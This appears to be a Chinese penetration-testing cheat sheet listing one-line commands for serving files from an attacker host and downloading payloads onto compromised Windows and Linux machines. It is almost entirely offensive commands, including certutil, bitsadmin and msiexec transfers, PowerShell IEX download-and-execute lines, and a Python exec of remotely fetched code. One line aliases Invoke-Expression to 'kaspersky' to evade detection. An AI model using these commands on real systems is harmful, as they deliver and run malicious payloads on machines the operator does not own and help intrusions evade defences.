渗透中常用的文件下载方法

1. Python HTTP
   1. python -m SimpleHTTPServer 8080
2. Python3 HTTP
   1. python3 -m http.server 8080
3. Python FTP
   1. python -m pyftpdlib -p 8080
4. Python3 SMB
   1. python3 impacket-smbserver.py files . -port 8080
5. PHP 5.4+
   1. php -S 0.0.0.0:8080
6. Ruby
   1. ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start'
7. Ruby 1.9.2+
   1. ruby -run -e httpd . -p 8080
8. busybox httpd
   1. busybox httpd -f -p 8080

Download the files

Windows

1. PowerShell - IWR
   1. powershell.exe -Command "Invoke-WebRequest -Uri [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -OutFile exploit.exe"
2. PowerShell - IEX
   1. powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('[http://127.0.0.1:8080/upfile.exe',](http://127.0.0.1:8080/upfile.exe',) exploit.exe)"
3. CMD - Certutil
   1. certutil.exe -urlcache -split -f [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) exploit.exe
4. CMD - SMB
   1. copy \\127.0.0.1\files\upfile.exe exploit.exe
5. Windows Bitsadmin
   1. bitsadmin /rawreturn /transfer down "[http://127.0.0.1:8080/upfile.exe"](http://127.0.0.1:8080/upfile.exe") c:\\exploit.exe
6. Windows msiexec
   1. msiexec /q /i [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe)
   2. msiexec /q /%os:~1,1%[http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe)
7. Windows PowerShell
   1. powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[http://127.0.0.1:8080/payload.ps1')](http://127.0.0.1:8080/payload.ps1'))
8. Windows IPC$
   1. copy \127.0.0.1\c$\upfile.exe C:\exploit.exe

Linux

1. Linux - wget
   1. wget [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -O exploit.exe
2. Linux - curl
   1. curl [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -o exploit.exe

python

1. Python Download
   1. python -c "import urllib2; exec urllib2.urlopen('[http://127.0.0.1:8080/upfile.exe').read();"](http://127.0.0.1:8080/upfile.exe').read();")